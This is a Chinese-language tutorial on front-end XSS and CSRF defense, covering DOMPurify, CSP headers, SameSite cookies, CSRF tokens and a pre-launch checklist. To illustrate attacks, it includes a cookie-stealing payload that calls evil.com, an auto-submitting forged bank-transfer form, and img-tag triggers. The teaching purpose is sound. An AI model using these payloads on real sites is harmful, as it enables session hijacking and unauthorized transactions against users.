前端安全长期被当成”后端的事”,但 XSS 与 CSRF 这两类经典漏洞,恰恰有一大半防线必须落在浏览器侧。一个未转义的用户昵称、一个缺失 SameSite 属性的 Cookie,就足以让整站会话被劫持。本文从攻击原理出发,给出一套可以直接落地的前端安全纵深防御方案。
一、前端安全为什么不能只靠后端
很多团队的安全模型是”后端做参数校验,前端只管渲染”。这个假设在单页应用时代已经失效:数据从接口拿到之后,在浏览器里被拼接、注入 DOM、写进 Cookie、发起跨域请求,每一步都可能引入新的攻击面。后端返回的字符串是安全的,不等于把它 innerHTML 进页面也是安全的。
更现实的问题是分工。后端能拦住 SQL 注入,但拦不住前端把富文本直接塞进 DOM;后端能校验签名,但如果前端把 Token 放在 localStorage 且存在 XSS,攻击者一行脚本就能全量拖走。所以安全必须是双端协作的纵深防御:任何一层被突破,还有下一层兜底。我们在服务器安全加固:SSH、防火墙与 Fail2ban 实战中讨论过服务端加固,本文补上浏览器侧这一环。
二、XSS 三种类型:从注入点看清攻击链
XSS(跨站脚本攻击)的本质只有一句话:攻击者的数据被浏览器当成了代码执行。按注入路径可分三类,防御手段各有侧重。
存储型 XSS
恶意脚本被写入数据库(评论、昵称、商品描述),此后每个访问该页面的用户都会中招。危害最大,因为它是持久化的、无需诱导点击。典型场景:用户把昵称改成 <img src=x onerror=alert(1)>,后台管理页面渲染用户列表时立刻触发。
反射型 XSS
脚本藏在 URL 参数里,服务端把参数原样回显到页面。攻击者需要诱导受害者点击特制链接,常配合短链和钓鱼邮件。例如搜索页把关键词直接打印到”您搜索的是 XXX”。
DOM 型 XSS
整个攻击不经过服务端,纯粹由前端 JS 处理不当造成。这是单页应用最容易忽略的一类:
// ❌ 危险:把 URL 片段直接写进 DOM
const tab = location.hash.slice(1);
document.getElementById('panel').innerHTML = '当前标签:' + tab;
// 访问 page#<img src=x onerror=fetch('//evil.com?c='+document.cookie)> 即被利用
// ❌ 危险:动态执行来自接口的字符串
new Function(res.data.expression)();
setTimeout(res.data.callback, 100); // 字符串形式的 setTimeout 等价 eval
// ✅ 安全:只写文本,不解析 HTML
document.getElementById('panel').textContent = '当前标签:' + tab;
// ✅ 安全:需要结构化内容就手工建节点
const el = document.createElement('span');
el.textContent = tab;
panel.replaceChildren(el);
| 类型 | 注入位置 | 是否持久 | 核心防线 |
|---|---|---|---|
| 存储型 | 数据库 / 服务端存储 | 是 | 入库过滤 + 输出编码 |
| 反射型 | URL 参数回显 | 否 | 输出编码 + CSP |
| DOM 型 | 前端 JS 操作 DOM | 否 | 禁用 innerHTML + Trusted Types |
三、XSS 防御三板斧:编码、净化、CSP
1. 按上下文做输出编码
编码不是”过滤敏感词”,而是根据数据落点选择转义规则。HTML 文本节点、HTML 属性、JS 字符串、URL 参数四种上下文的转义方式完全不同,混用会留下绕过空间。最省心的做法是永远走框架的模板插值,让框架替你做上下文转义。
2. 富文本必须走白名单净化
如果业务确实要渲染用户提交的 HTML(编辑器、富文本评论),唯一可靠的方案是白名单净化库,不要自己写正则黑名单——历史上所有手写黑名单最终都被绕过了。
npm install dompurify
import DOMPurify from 'dompurify';
// 只保留排版标签与安全属性,事件属性与 script 全部剥离
const clean = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'title'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i, // 拦掉 javascript: 伪协议
});
container.innerHTML = clean;
// Vue 中同理,v-html 前必须净化
// <div v-html="sanitized"></div>
// computed: { sanitized() { return DOMPurify.sanitize(this.raw); } }
3. CSP:最后一道兜底防线
CSP(内容安全策略)通过响应头限制脚本来源,即使代码里漏了一处转义,浏览器也会拒绝执行外部或内联脚本。它是防御失效时的保险绳,建议所有生产站点开启。Nginx 侧配置示例:
# /www/server/panel/vhost/nginx/your-site.conf
add_header Content-Security-Policy "default-src 'self'; \
script-src 'self' 'nonce-$request_id'; \
style-src 'self' 'unsafe-inline'; \
img-src 'self' data: https:; \
connect-src 'self' https://api.example.com; \
frame-ancestors 'self'; \
object-src 'none'; base-uri 'self'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# 先用 Report-Only 观察一周,确认无误伤再切正式头
# add_header Content-Security-Policy-Report-Only "..." always;
落地经验:直接上强 CSP 极易误伤第三方统计、地图、客服脚本。正确姿势是先用 Content-Security-Policy-Report-Only 收集一周违规报告,把确实需要的域名补进白名单,再切换成强制模式。切记不要为了图快写 script-src 'unsafe-inline',那等于把 CSP 对 XSS 的防护关掉了。
四、CSRF:借你的身份发请求
CSRF(跨站请求伪造)不窃取数据,而是冒用你的登录态执行操作。攻击链很朴素:你在 A 站已登录且 Cookie 有效,然后访问了恶意 B 站,B 站页面自动向 A 站发起转账/改密请求,浏览器会自动带上 A 站 Cookie,服务端看不出异常。
<!-- 恶意站点 evil.com 上的隐藏表单,打开页面即自动提交 -->
<form id="f" action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
<!-- 连 GET 接口都能被 img 标签触发,所以写操作绝不能用 GET -->
<img src="https://bank.example.com/api/delete?id=42" width="0">
关键认知:CSRF 之所以成立,是因为浏览器”自动携带 Cookie”这一行为。因此防御思路只有两条——让 Cookie 不再自动跨站携带,或者要求请求携带攻击者拿不到的凭证。
五、CSRF 防御:SameSite + Token 双保险
# 服务端下发 Cookie(Spring Boot / Node 通用语义)
Set-Cookie: SESSION=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
# HttpOnly -> JS 读不到,XSS 也偷不走会话
# Secure -> 仅 HTTPS 传输,防中间人窃听
# SameSite=Lax -> 跨站 POST 不携带,堵住绝大多数 CSRF
// 前端:从 Cookie 读 CSRF Token 并回填请求头(Double Submit 模式)
import axios from 'axios';
axios.defaults.withCredentials = true;
axios.interceptors.request.use(cfg => {
const token = document.cookie
.split('; ').find(c => c.startsWith('XSRF-TOKEN='))?.split('=')[1];
if (token && !['get', 'head'].includes(cfg.method)) {
cfg.headers['X-XSRF-TOKEN'] = decodeURIComponent(token);
}
return cfg;
});
| 方案 | 防护强度 | 改造成本 | 注意事项 |
|---|---|---|---|
| SameSite=Lax | 高 | 极低 | 跨子域单点登录需评估 |
| SameSite=Strict | 最高 | 低 | 外链跳回会丢登录态,体验受损 |
| CSRF Token | 高 | 中 | 需服务端存储或签名校验 |
| Origin/Referer 校验 | 中 | 低 | Referer 可能被策略剥离,仅作辅助 |
| Token 放 Header | 高 | 中 | 需防 XSS,否则 Token 一样被拖走 |
推荐组合:SameSite=Lax + HttpOnly + Secure 打底,写操作叠加 CSRF Token,服务端再校验 Origin。三层同时命中的概率极低。另外务必遵守”GET 不产生副作用”的语义,所有写操作走 POST/PUT/DELETE,否则一个 <img> 标签就能绕过大半防线。HTTPS 是这一切的前提,证书配置可参考Nginx 配置 SSL 证书与 HTTPS 强制跳转。
六、框架不是免死金牌:Vue / React 的真实陷阱
现代框架默认对插值做转义,这确实消灭了大部分 XSS,但仍有明确的”逃生舱”会重新打开攻击面。使用 TypeScript 时可以配合类型约束把危险入口显式标注出来,相关工程实践可见Vue3 + TypeScript 项目实战。
// React:dangerouslySetInnerHTML 是唯一的 XSS 入口,命名已在警告你
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
// ❌ href 绑定用户数据 = javascript: 伪协议注入
<a href={user.website}>主页</a>
// ✅ 校验协议白名单
const safeUrl = /^https?:\/\//i.test(user.website) ? user.website : '#';
// Vue:以下三处都会绕过默认转义
// 1) v-html 2) :href / :src 绑定 3) 动态组件 is 绑定用户输入
// 依赖链风险:定期扫描,供应链投毒同样属于前端安全范畴
// npm audit --production
// npx depcheck
还有两类常被漏掉的问题。一是点击劫持:页面被恶意站点用 iframe 嵌套并覆盖透明按钮,诱导用户误点,用 frame-ancestors 'self' 或 X-Frame-Options: SAMEORIGIN 即可封堵。二是敏感信息泄露:把密钥、内网地址写进前端打包产物,或在生产环境保留 sourcemap,等于把逻辑白送给攻击者。构建配置层面的取舍可参考前端构建工具演进:Webpack、Vite 与 Rspack。
七、上线前的前端安全自检清单
- 全局搜索
innerHTML、v-html、dangerouslySetInnerHTML、eval、new Function,逐个确认是否经过净化。 - 所有富文本渲染点接入 DOMPurify,并限定标签与属性白名单。
- Cookie 三件套齐全:
HttpOnly+Secure+SameSite=Lax。 - 写操作全部使用非 GET 方法,并校验 CSRF Token 与 Origin 头。
- CSP 先以 Report-Only 观察一周,再切强制模式,禁用
unsafe-inline。 - 配置
X-Content-Type-Options: nosniff与frame-ancestors防嗅探与点击劫持。 - 生产构建关闭 sourcemap,确认打包产物无密钥、无内网域名。
- CI 中加入
npm audit依赖扫描,把高危漏洞作为流水线阻断项。 - 接口限流与异常行为监控同步配置,参考Nginx 限流防刷实战。
前端安全没有一招通吃的银弹,它是一串互相兜底的小规则:编码防注入、净化防富文本、CSP 防漏网、SameSite 与 Token 防伪造、响应头防嵌套嗅探。把这份清单接进 Code Review 和 CI,比事后应急响应便宜得多。真正的安全水位,取决于团队是否把这些检查变成了肌肉记忆。




